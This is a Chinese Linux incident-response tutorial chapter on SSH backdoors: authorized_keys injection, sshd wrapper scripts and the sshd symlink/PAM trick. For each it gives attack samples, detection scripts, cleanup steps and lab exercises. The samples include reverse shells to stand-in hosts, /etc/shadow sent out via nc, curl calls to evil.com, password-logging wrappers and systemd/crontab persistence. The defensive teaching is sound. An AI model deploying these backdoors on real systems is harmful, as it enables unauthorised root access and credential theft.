1. 1. SSH authorized_keys 后门
    1. 1.1. 概述
    2. 1.2. 1. authorized_keys 公钥注入
      1. 1.2.1. 1.1 标准公钥植入
        1. 1.2.1.1. 攻击原理
        2. 1.2.1.2. 攻击步骤
        3. 1.2.1.3. 检测方法
        4. 1.2.1.4. 关注要点
      2. 1.2.2. 1.2 command= 选项后门
        1. 1.2.2.1. 攻击原理
        2. 1.2.2.2. 样本
        3. 1.2.2.3. 检测方法
        4. 1.2.2.4. 注意
      3. 1.2.3. 1.3 from= 选项
        1. 1.2.3.1. 说明
        2. 1.2.3.2. 样本
      4. 1.2.4. 1.4 environment= 选项
        1. 1.2.4.1. 前提条件
        2. 1.2.4.2. 样本
        3. 1.2.4.3. 检测
      5. 1.2.5. 1.5 在多个用户下植入
        1. 1.2.5.1. 全面检查脚本
      6. 1.2.6. 1.6 authorized_keys 的非标准位置
    3. 1.3. 2. SSH Wrapper 后门
      1. 1.3.1. 2.1 攻击原理
      2. 1.3.2. 2.2 Bash 实现
      3. 1.3.3. 2.3 Perl 实现(更常见的野外样本)
      4. 1.3.4. 2.4 Python 实现
      5. 1.3.5. 2.5 检测方法
        1. 1.3.5.1. 方法 1:文件类型检查
        2. 1.3.5.2. 方法 2:包管理器校验
        3. 1.3.5.3. 方法 3:MD5/SHA256 校验
        4. 1.3.5.4. 方法 4:查找备份的原始 sshd
        5. 1.3.5.5. 方法 5:检查 sshd 进程
    4. 1.4. 3. SSH 软链接后门
      1. 1.4.1. 3.1 攻击原理
      2. 1.4.2. 3.2 攻击步骤
      3. 1.4.3. 3.3 PAM 机制详解
        1. 1.4.3.1. PAM 服务名匹配流程
        2. 1.4.3.2. /etc/pam.d/su 关键配置
        3. 1.4.3.3. 其他可利用的 PAM 配置
      4. 1.4.4. 3.4 持久化方式
      5. 1.4.5. 3.5 检测方法
        1. 1.4.5.1. 方法 1:检查异常端口
        2. 1.4.5.2. 方法 2:检查 sshd 的软链接
        3. 1.4.5.3. 方法 3:检查进程名与实际二进制不匹配
        4. 1.4.5.4. 方法 4:综合检测脚本
    5. 1.5. 4. SSH 后门配置检测
      1. 1.5.1. 4.1 sshd_config 中的隐蔽后门配置
      2. 1.5.2. 4.2 sshd_config 包含目录
      3. 1.5.3. 4.3 全面 SSH 排查脚本
    6. 1.6. 5. 清除与加固
      1. 1.6.1. 5.1 authorized_keys 后门清除
      2. 1.6.2. 5.2 SSH Wrapper 后门清除
      3. 1.6.3. 5.3 SSH 软链接后门清除
      4. 1.6.4. 5.4 加固措施
    7. 1.7. 6. 配套实验
      1. 1.7.1. 实验环境
      2. 1.7.2. 实验内容
      3. 1.7.3. 参考链接

Linux应急响应 - 16 SSH-authorized_keys后门

SSH authorized_keys 后门

id:: ssh-backdoor-16

概述

SSH 是 Linux 系统最核心的远程管理协议,也是攻击者最青睐的持久化目标

本节覆盖三种经典的 SSH 后门技术:

authorized_keys 公钥注入 — 植入攻击者公钥实现免密登录

SSH Wrapper 后门 — 替换 sshd 二进制或包装脚本,截获密码

SSH 软链接后门 — 利用 PAM 认证机制实现任意密码登录

每种后门都给出攻击原理、真实样本和检测方法

关于 SSH 暴力破解和未授权访问的排查,参见 10-SSH暴力破解与未授权访问

关于账户安全排查,参见 04-账户安全排查

1. authorized_keys 公钥注入

1.1 标准公钥植入

攻击原理

攻击者将自己的 SSH 公钥追加到目标用户的 ~/.ssh/authorized_keys 文件中

此后攻击者可以使用对应私钥直接免密登录,无需知道用户密码

攻击步骤

1
2
3
4
5
6
7
8
9
10
11
12
# 攻击者在自己机器上生成密钥对
ssh-keygen -t ed25519 -f /tmp/backdoor_key -N ""

# 将公钥写入目标的 authorized_keys
# 方式 1:直接追加
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHxxxxxxxxxxxxxxxx attacker@c2" >> /root/.ssh/authorized_keys

# 方式 2:通过 echo 写入(一句话植入)
mkdir -p /root/.ssh && chmod 700 /root/.ssh && echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHxxxxxxxxxxxxxxxx" >> /root/.ssh/authorized_keys && chmod 600 /root/.ssh/authorized_keys

# 方式 3:从远程下载公钥
curl -fsSL http://evil.com/key.pub >> /root/.ssh/authorized_keys

检测方法

1
2
3
4
5
6
7
8
9
10
11
12
# 检查所有用户的 authorized_keys
for user_home in $(awk -F: '$3>=1000||$3==0{print $6}' /etc/passwd); do
ak_file="$user_home/.ssh/authorized_keys"
if [ -f "$ak_file" ]; then
echo "=== $ak_file ==="
cat "$ak_file"
echo "--- 文件属性 ---"
ls -la "$ak_file"
stat "$ak_file"
echo ""
fi
done

关注要点

是否存在不认识的公钥(对比 comment 字段)

文件修改时间是否异常

是否存在 root 用户的 authorized_keys(通常不应有)

1.2 command= 选项后门

攻击原理

authorized_keys 支持 command= 前缀选项,指定 SSH 登录时 强制执行 的命令

攻击者可以利用此机制在每次 SSH 登录时自动执行后门命令

样本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# authorized_keys 中的条目格式:
# command="恶意命令" ssh-rsa AAAA...

# 示例 1:登录时自动反弹 shell(同时允许正常交互)
command="(bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 &); $SHELL" ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHxxxxxxxx user@host

# 示例 2:记录密码到远程服务器
command="curl -s http://evil.com/log?user=$(whoami)&host=$(hostname); $SHELL -il" ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHxxxxxxxx user@host

# 示例 3:仅执行特定命令(用于数据窃取)
command="cat /etc/shadow | nc 10.0.0.1 5555" ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHxxxxxxxx user@host

# 示例 4:后门 + 正常使用(隐蔽性更强)
command="(nohup bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1' &>/dev/null &); if [ -n \"$SSH_ORIGINAL_COMMAND\" ]; then eval \"$SSH_ORIGINAL_COMMAND\"; else exec $SHELL -l; fi" ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHxxxxxxxx

检测方法

1
2
3
4
5
6
7
8
# 检查所有 authorized_keys 中是否包含 command= 选项
find / -name "authorized_keys" -o -name "authorized_keys2" 2>/dev/null | \
while read f; do
if grep -q "command=" "$f" 2>/dev/null; then
echo -e "\033[0;31m[!] 发现 command= 选项: $f\033[0m"
grep "command=" "$f"
fi
done

注意

command= 是合法功能,某些自动化系统(如 GitLab、backup 脚本)会使用

需要人工判断 command 内容是否合法

1.3 from= 选项

说明

from= 限制该公钥只能从指定 IP 地址登录

攻击者用它确保只有自己的 C2 IP 能使用植入的密钥

样本

1
2
3
4
5
# 只允许从攻击者 IP 登录
from="10.0.0.1" ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHxxxxxxxx

# 组合使用
from="10.0.0.1",command="(bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 &); $SHELL",no-agent-forwarding,no-X11-forwarding ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHxxxxxxxx

1.4 environment= 选项

前提条件

sshd_config 中必须设置 PermitUserEnvironment yes(默认为 no)

样本

1
2
3
4
5
# 通过环境变量设置 LD_PRELOAD 加载恶意共享库
environment="LD_PRELOAD=/tmp/.evil.so" ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHxxxxxxxx

# 设置 PATH 优先使用攻击者的工具
environment="PATH=/tmp/.bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin" ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHxxxxxxxx

检测

1
2
3
4
5
# 检查 sshd_config 是否允许 environment
grep -i "PermitUserEnvironment" /etc/ssh/sshd_config

# 检查 authorized_keys 中的 environment= 选项
find / -name "authorized_keys*" 2>/dev/null -exec grep -l "environment=" {} \;

1.5 在多个用户下植入

攻击者通常不只植入 root,还会在多个用户的 authorized_keys 中植入公钥

1
2
3
4
5
6
7
8
# 攻击者批量植入脚本
PUBKEY="ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHxxxxxxxx"
for user_home in /root /home/*; do
mkdir -p "$user_home/.ssh" 2>/dev/null
echo "$PUBKEY" >> "$user_home/.ssh/authorized_keys" 2>/dev/null
chmod 700 "$user_home/.ssh" 2>/dev/null
chmod 600 "$user_home/.ssh/authorized_keys" 2>/dev/null
done

全面检查脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/bin/bash
# check_authorized_keys.sh - 全面检查 SSH 公钥

echo "=========================================="
echo " SSH authorized_keys 全面检查"
echo "=========================================="

# 获取所有用户主目录
while IFS=: read -r user _ uid _ _ home _; do
for ak in "$home/.ssh/authorized_keys" "$home/.ssh/authorized_keys2"; do
[ -f "$ak" ] || continue
echo -e "\n--- 用户: $user ($ak) ---"
key_count=$(grep -c "^[^#]" "$ak" 2>/dev/null)
echo "公钥数量: $key_count"

# 显示每个公钥的指纹和 comment
while read -r line; do
"$line" =~ ^# && continue
-z "$line" && continue
echo " $line" | awk '{print " 类型:", $1, " Comment:", $NF}'

# 检测高危选项
echo "$line" | grep -qE "command=|environment=|from=" && \
echo -e " \033[1;33m[!] 包含特殊选项\033[0m: $(echo "$line" | grep -oE '(command|environment|from)="[^"]*"')"
done < "$ak"

# 检查文件修改时间
echo " 最后修改: $(stat -c '%y' "$ak" 2>/dev/null || stat -f '%Sm' "$ak" 2>/dev/null)"
done
done < /etc/passwd

1.6 authorized_keys 的非标准位置

sshd_config 中的 AuthorizedKeysFile 可以指定非标准路径

1
2
3
4
5
6
7
# 检查 sshd_config 中的 AuthorizedKeysFile 配置
grep -i "AuthorizedKeysFile" /etc/ssh/sshd_config

# 默认值: .ssh/authorized_keys
# 攻击者可能修改为:
# AuthorizedKeysFile /etc/.ssh_keys/%u
# AuthorizedKeysFile /opt/.keys/authorized_keys

检测时必须先确认 AuthorizedKeysFile 的实际配置路径

2. SSH Wrapper 后门

2.1 攻击原理

攻击者将原始 sshd 二进制重命名,用一个包装脚本替代

包装脚本在用户登录时 截获密码,发送到 C2 服务器,然后调用原始 sshd 完成正常认证

用户无感知,登录过程完全正常

2.2 Bash 实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 步骤 1:备份原始 sshd
mv /usr/sbin/sshd /usr/sbin/sshd.orig

# 步骤 2:创建 wrapper 脚本
cat > /usr/sbin/sshd << 'WRAPPER'
#!/bin/bash
# SSH Wrapper - 记录密码后调用原始 sshd

# 启动一个隐藏的密码记录器
strace -f -e trace=read -p $$ -o /tmp/.sshd.log 2>/dev/null &

# 调用原始 sshd,传递所有参数
/usr/sbin/sshd.orig "$@"
WRAPPER
chmod 755 /usr/sbin/sshd

2.3 Perl 实现(更常见的野外样本)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/perl
# SSH Wrapper 后门 - Perl 实现
# 典型的野外样本

use strict;
use IO::Socket;
use POSIX;

my $LOG_FILE = "/tmp/.ilog"; # 密码记录文件
my $C2_HOST = "10.0.0.1";
my $C2_PORT = 5555;

# Fork 为守护进程
my $pid = fork();
exit 0 if $pid;

# 监听 SSH 端口(通常是 22)
my $server = IO::Socket::INET->new(
LocalPort => 22,
Type => SOCK_STREAM,
Reuse => 1,
Listen => 10
) or die "Cannot listen: $!\n";

while (my $client = $server->accept()) {
my $child = fork();
next if $child;

# 连接到真实的 sshd(监听在另一个端口,如 2222)
my $real_sshd = IO::Socket::INET->new(
PeerAddr => "127.0.0.1",
PeerPort => 2222,
Proto => "tcp"
);

# 中间人转发,同时记录数据
# ... (省略转发逻辑)

close $client;
exit 0;
}

以上为简化示例,实际野外样本通常更加复杂,包含完整的 SSH 协议中间人功能

2.4 Python 实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env python3
"""SSH Wrapper 后门 - Python 实现"""
import subprocess
import sys
import os
import socket
import threading

REAL_SSHD = "/usr/sbin/sshd.orig"
LOG_SERVER = ("10.0.0.1", 5555)

def send_log(data):
"""将截获的数据发送到 C2"""
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(3)
s.connect(LOG_SERVER)
s.send(data.encode())
s.close()
except:
pass

def main():
# 使用 strace 附加到真实 sshd 进程记录密码
# 或直接使用 PAM 模块记录

# 启动真实 sshd
os.execv(REAL_SSHD, [REAL_SSHD] + sys.argv[1:])

if __name__ == "__main__":
main()

2.5 检测方法

方法 1:文件类型检查

1
2
3
4
5
# sshd 应该是 ELF 二进制文件,不应是脚本
file /usr/sbin/sshd
# 预期输出: /usr/sbin/sshd: ELF 64-bit LSB shared object...
# 如果输出: /usr/sbin/sshd: Bash script... 或 Perl script...
# 则说明被替换为 wrapper 脚本

方法 2:包管理器校验

1
2
3
4
5
6
7
8
9
10
11
12
# Debian/Ubuntu
dpkg -V openssh-server
debsums openssh-server
# 如果 /usr/sbin/sshd 显示 FAILED,说明被修改

# RHEL/CentOS
rpm -V openssh-server
# 注意 S.5....T. 标记
# S = 文件大小变化, 5 = MD5 校验和变化, T = 修改时间变化

# 示例输出(被篡改):
# S.5....T. /usr/sbin/sshd

方法 3:MD5/SHA256 校验

1
2
3
4
5
6
7
8
9
10
# 获取当前 sshd 的 hash
sha256sum /usr/sbin/sshd

# 与官方包的 hash 对比
# Debian/Ubuntu:
apt-get download openssh-server
dpkg -x openssh-server_*.deb /tmp/sshd_check/
sha256sum /tmp/sshd_check/usr/sbin/sshd

# 对比两个 hash 是否一致

方法 4:查找备份的原始 sshd

1
2
3
# 攻击者通常会将原始 sshd 备份为类似名称
find / -name "sshd*" -o -name ".sshd*" 2>/dev/null
# 关注: sshd.orig, sshd.bak, sshd.real, .sshd.old 等

方法 5:检查 sshd 进程

1
2
3
4
5
6
# 检查 sshd 进程的实际执行文件
ls -la /proc/$(pgrep -o sshd)/exe
# 如果指向 /usr/sbin/sshd.orig 而非 /usr/sbin/sshd,说明被包装

# 检查 sshd 是否加载了异常的共享库
lsof -p $(pgrep -o sshd) | grep -v "\.so"

3. SSH 软链接后门

3.1 攻击原理

核心思路:利用 Linux PAM(Pluggable Authentication Modules)的服务名匹配机制

PAM 根据 进程名 查找 /etc/pam.d/ 下的同名配置文件

su 的 PAM 配置中包含 pam_rootok.so(sufficient),允许 root 用户无需密码

如果将 sshd 软链接为 /tmp/su,启动后进程名变为 su,PAM 会使用 /etc/pam.d/su 的配置

因为 sshd 以 root 身份运行,pam_rootok.so 直接通过认证,任意密码即可登录

3.2 攻击步骤

1
2
3
4
5
6
7
8
9
# 创建软链接
ln -sf /usr/sbin/sshd /tmp/su

# 以非标准端口启动
/tmp/su -oPort=31337

# 攻击者连接(任意密码即可登录)
ssh root@target -p 31337
# 输入任意密码,即可获得 root shell

3.3 PAM 机制详解

PAM 服务名匹配流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
进程名: su (实际是 sshd 的软链接)

PAM 查找: /etc/pam.d/su

/etc/pam.d/su 内容:
auth sufficient pam_rootok.so ← 关键!
auth required pam_unix.so
...

pam_rootok.so 检查: 调用者是否为 root?

sshd 以 root 运行 → 检查通过 (sufficient)

认证成功,任意密码均可登录

/etc/pam.d/su 关键配置

1
2
3
4
5
6
7
8
# 查看 su 的 PAM 配置
cat /etc/pam.d/su

# 典型内容(关注第一行):
# auth sufficient pam_rootok.so
# auth required pam_unix.so
# account required pam_unix.so
# session required pam_unix.so

sufficient 表示:如果此模块验证成功,则无需后续模块验证,直接通过

pam_rootok.so:检查调用者的 UID 是否为 0(root)

其他可利用的 PAM 配置

不仅限于 su,任何 PAM 配置中包含 pam_rootok.so sufficient 的服务都可利用

1
2
3
4
5
6
7
8
9
# 查找所有包含 pam_rootok.so 的 PAM 配置
grep -rl "pam_rootok" /etc/pam.d/
# 常见结果: su, su-l, chfn, chsh, runuser, runuser-l

# 因此以下软链接名称都可能生效:
ln -sf /usr/sbin/sshd /tmp/su
ln -sf /usr/sbin/sshd /tmp/chfn
ln -sf /usr/sbin/sshd /tmp/chsh
ln -sf /usr/sbin/sshd /tmp/runuser

3.4 持久化方式

单纯的软链接重启后不会自动启动,攻击者通常结合其他持久化手段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 方式 1: 写入 /etc/rc.local
echo "/tmp/su -oPort=31337" >> /etc/rc.local

# 方式 2: 创建 systemd service
cat > /etc/systemd/system/system-update.service << 'EOF'
[Unit]
Description=System Update Service
After=network.target

[Service]
Type=simple
ExecStart=/tmp/su -oPort=31337
Restart=always

[Install]
WantedBy=multi-user.target
EOF
systemctl enable system-update.service

# 方式 3: 写入 crontab
echo "@reboot /tmp/su -oPort=31337" | crontab -

3.5 检测方法

方法 1:检查异常端口

1
2
3
4
5
6
# 查找非标准端口上运行的 sshd 进程
netstat -antlp 2>/dev/null | grep -E "sshd|/su|/chfn|/chsh|/runuser"
ss -antlp | grep -E "sshd|/su|/chfn|/chsh|/runuser"

# 查找监听非 22 端口的 SSH 服务
netstat -antlp | grep -v ":22 " | grep sshd

方法 2:检查 sshd 的软链接

1
2
3
4
5
6
7
8
9
10
# 查找指向 sshd 的所有软链接
find / -type l -exec ls -la {} \; 2>/dev/null | grep sshd

# 更精确的方法
find / -type l 2>/dev/null | while read link; do
target=$(readlink -f "$link" 2>/dev/null)
if [ "$target" = "/usr/sbin/sshd" ] && [ "$link" != "/usr/sbin/sshd" ]; then
echo "[!] 发现 sshd 软链接后门: $link -> $target"
fi
done

方法 3:检查进程名与实际二进制不匹配

1
2
3
4
5
6
7
8
9
10
11
12
# 检查所有 sshd 相关进程
ps aux | grep -E "sshd|31337|su.*-oPort"

# 检查进程的 exe 链接
ls -la /proc/*/exe 2>/dev/null | grep sshd

# 对比进程名和实际二进制路径
for pid in $(pgrep -f "sshd|su.*-oPort"); do
exe=$(readlink /proc/$pid/exe 2>/dev/null)
cmdline=$(cat /proc/$pid/cmdline 2>/dev/null | tr '\0' ' ')
echo "PID: $pid | EXE: $exe | CMD: $cmdline"
done

方法 4:综合检测脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/bin/bash
# detect_ssh_symlink.sh - SSH 软链接后门检测

RED='\033[0;31m'
NC='\033[0m'

echo "=== SSH 软链接后门检测 ==="

# 1. 查找所有指向 sshd 的软链接
echo "[1] 检查 sshd 软链接..."
find / -type l 2>/dev/null | while read link; do
target=$(readlink -f "$link" 2>/dev/null)
if echo "$target" | grep -q "sshd"; then
echo -e "${RED}[!] 可疑软链接: $link -> $target${NC}"
fi
done

# 2. 检查监听端口
echo "[2] 检查异常 SSH 监听端口..."
ss -antlp 2>/dev/null | while read line; do
if echo "$line" | grep -qE "su|chfn|chsh|runuser"; then
echo -e "${RED}[!] 可疑监听: $line${NC}"
fi
done

# 3. 检查可利用的 PAM 配置
echo "[3] 检查含 pam_rootok.so 的 PAM 服务..."
grep -rl "pam_rootok" /etc/pam.d/ 2>/dev/null

echo "[完成]"

关于 SSH 软链接后门的更多深入分析,参见 25-SSH软链接后门

4. SSH 后门配置检测

4.1 sshd_config 中的隐蔽后门配置

攻击者可能修改 sshd_config 来降低安全性或开启后门功能

配置项 危险值 风险说明
PermitRootLogin yes 允许 root 直接登录
PasswordAuthentication yes 允许密码登录(可能已被禁用)
PermitEmptyPasswords yes 允许空密码登录
AuthorizedKeysFile 非标准路径 将公钥文件隐藏到不常见位置
PubkeyAuthentication yes 确保公钥认证开启
UsePAM yes PAM 认证(软链接后门依赖此项)
PermitUserEnvironment yes 允许用户设置环境变量(LD_PRELOAD 等)
GatewayPorts yes 允许远程端口转发绑定到所有接口
AllowTcpForwarding yes 允许 TCP 转发
Port 非标准端口 可能新增了额外监听端口
ListenAddress 0.0.0.0 监听所有接口

4.2 sshd_config 包含目录

OpenSSH 8.x 之后支持 Include 指令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# sshd_config 中可能有:
Include /etc/ssh/sshd_config.d/*.conf

# 攻击者可能在此目录下放置后门配置
cat > /etc/ssh/sshd_config.d/00-backdoor.conf << 'EOF'
PermitRootLogin yes
PasswordAuthentication yes
PermitEmptyPasswords yes
EOF

# 检查 Include 目录中的所有配置
grep -rn "Include" /etc/ssh/sshd_config
ls -la /etc/ssh/sshd_config.d/ 2>/dev/null
cat /etc/ssh/sshd_config.d/*.conf 2>/dev/null

4.3 全面 SSH 排查脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#!/bin/bash
# ssh_full_audit.sh - SSH 后门全面排查

RED='\033[0;31m'
YELLOW='\033[1;33m'
GREEN='\033[0;32m'
NC='\033[0m'

echo "=========================================="
echo " SSH 后门全面排查"
echo "=========================================="

# 1. sshd 二进制完整性
echo -e "\n${YELLOW}[1] sshd 二进制完整性检查${NC}"
file /usr/sbin/sshd
sha256sum /usr/sbin/sshd
rpm -V openssh-server 2>/dev/null || debsums openssh-server 2>/dev/null || echo "无法进行包校验"

# 2. sshd_config 安全检查
echo -e "\n${YELLOW}[2] sshd_config 安全配置检查${NC}"
for key in PermitRootLogin PasswordAuthentication PermitEmptyPasswords \
PermitUserEnvironment AuthorizedKeysFile GatewayPorts Port; do
value=$(grep -i "^$key" /etc/ssh/sshd_config 2>/dev/null | tail -1)
[ -n "$value" ] && echo " $value" || echo " $key: (默认值)"
done

# 检查 Include 目录
if grep -q "^Include" /etc/ssh/sshd_config 2>/dev/null; then
echo -e "${YELLOW} [!] 发现 Include 指令:${NC}"
grep "^Include" /etc/ssh/sshd_config
for conf in /etc/ssh/sshd_config.d/*.conf 2>/dev/null; do
[ -f "$conf" ] && echo " --- $conf ---" && cat "$conf"
done
fi

# 3. authorized_keys 检查
echo -e "\n${YELLOW}[3] authorized_keys 检查${NC}"
ak_path=$(grep -i "^AuthorizedKeysFile" /etc/ssh/sshd_config 2>/dev/null | awk '{print $2}')
[ -z "$ak_path" ] && ak_path=".ssh/authorized_keys"
echo " AuthorizedKeysFile 路径: $ak_path"

while IFS=: read -r user _ uid _ _ home _; do
for ak in "$home/.ssh/authorized_keys" "$home/.ssh/authorized_keys2"; do
[ -f "$ak" ] || continue
count=$(grep -c "^[^#]" "$ak" 2>/dev/null)
has_cmd=$(grep -c "command=" "$ak" 2>/dev/null)
has_env=$(grep -c "environment=" "$ak" 2>/dev/null)
echo " 用户 $user: $count 个公钥 (command=$has_cmd, environment=$has_env) - $ak"
[ "$has_cmd" -gt 0 ] && echo -e " ${RED}[!] 存在 command= 选项${NC}"
[ "$has_env" -gt 0 ] && echo -e " ${RED}[!] 存在 environment= 选项${NC}"
done
done < /etc/passwd

# 4. SSH 软链接检测
echo -e "\n${YELLOW}[4] SSH 软链接后门检测${NC}"
find / -type l 2>/dev/null | while read link; do
target=$(readlink -f "$link" 2>/dev/null)
[ "$target" = "/usr/sbin/sshd" ] && [ "$link" != "/usr/sbin/sshd" ] && \
echo -e " ${RED}[!] sshd 软链接: $link -> $target${NC}"
done

# 5. 异常 SSH 端口
echo -e "\n${YELLOW}[5] SSH 监听端口检查${NC}"
ss -antlp 2>/dev/null | grep -E "ssh|sshd|:22 " | while read line; do
echo " $line"
done

# 6. SSH 相关进程
echo -e "\n${YELLOW}[6] SSH 相关进程${NC}"
ps aux | grep -E "[s]shd" | while read line; do
echo " $line"
done

# 7. 备份的 sshd 文件
echo -e "\n${YELLOW}[7] 查找可能的 sshd 备份文件${NC}"
find / -name "sshd*" -o -name ".sshd*" 2>/dev/null | grep -v "/proc/" | while read f; do
echo " $f ($(file "$f" | awk -F: '{print $2}'))"
done

echo -e "\n${GREEN}[完成] SSH 后门排查完毕${NC}"

5. 清除与加固

5.1 authorized_keys 后门清除

删除不认识的公钥条目

删除包含可疑 command=environment= 选项的条目

1
2
3
4
# 备份后清理
cp ~/.ssh/authorized_keys ~/.ssh/authorized_keys.bak.$(date +%s)
# 编辑后保留只有合法的公钥
vim ~/.ssh/authorized_keys

5.2 SSH Wrapper 后门清除

1
2
3
4
5
6
7
# 恢复原始 sshd
mv /usr/sbin/sshd.orig /usr/sbin/sshd
# 或从包管理器重新安装
apt-get install --reinstall openssh-server # Debian/Ubuntu
yum reinstall openssh-server # RHEL/CentOS

systemctl restart sshd

5.3 SSH 软链接后门清除

1
2
3
4
5
6
7
# 删除软链接
rm /tmp/su # 或其他路径

# 杀死后门进程
kill $(pgrep -f "su.*-oPort")

# 清除持久化条目(rc.local, crontab, systemd 等)

5.4 加固措施

禁止 root 直接 SSH 登录:PermitRootLogin no

禁用密码认证,仅允许公钥:PasswordAuthentication no

禁止空密码:PermitEmptyPasswords no

禁止用户环境变量:PermitUserEnvironment no

限制 SSH 用户:AllowUsers <username>

使用 fail2ban 防暴力破解

定期检查 authorized_keys 文件

使用 AIDE/OSSEC 监控 sshd 二进制和配置文件变更

6. 配套实验

实验环境

目录:labs/11-persistence-ssh/

靶机:Ubuntu 22.04 / CentOS 7

实验内容

实验 1:在靶机上植入 authorized_keys 公钥后门(包含 command= 变体),然后使用检测脚本发现

实验 2:搭建 SSH Wrapper 后门(Bash 版本),验证密码记录功能,然后通过 filerpm -V 检测

实验 3:搭建 SSH 软链接后门,理解 PAM 认证流程,验证任意密码登录,然后通过端口扫描和软链接查找检测

实验 4:修改 sshd_config 开启各种不安全配置,练习配置审计

实验 5:运行全面 SSH 排查脚本,清除所有后门并加固

参考链接

10-SSH暴力破解与未授权访问 — SSH 暴力破解排查

04-账户安全排查 — 账户安全排查

25-SSH软链接后门 — 软链接后门深入分析

15-Crontab后门 — Crontab 持久化后门

17-Systemd-Service后门 — Systemd 持久化后门


上一章 目录 下一章
15-Crontab后门 Linux应急响应 17-Systemd-Service后门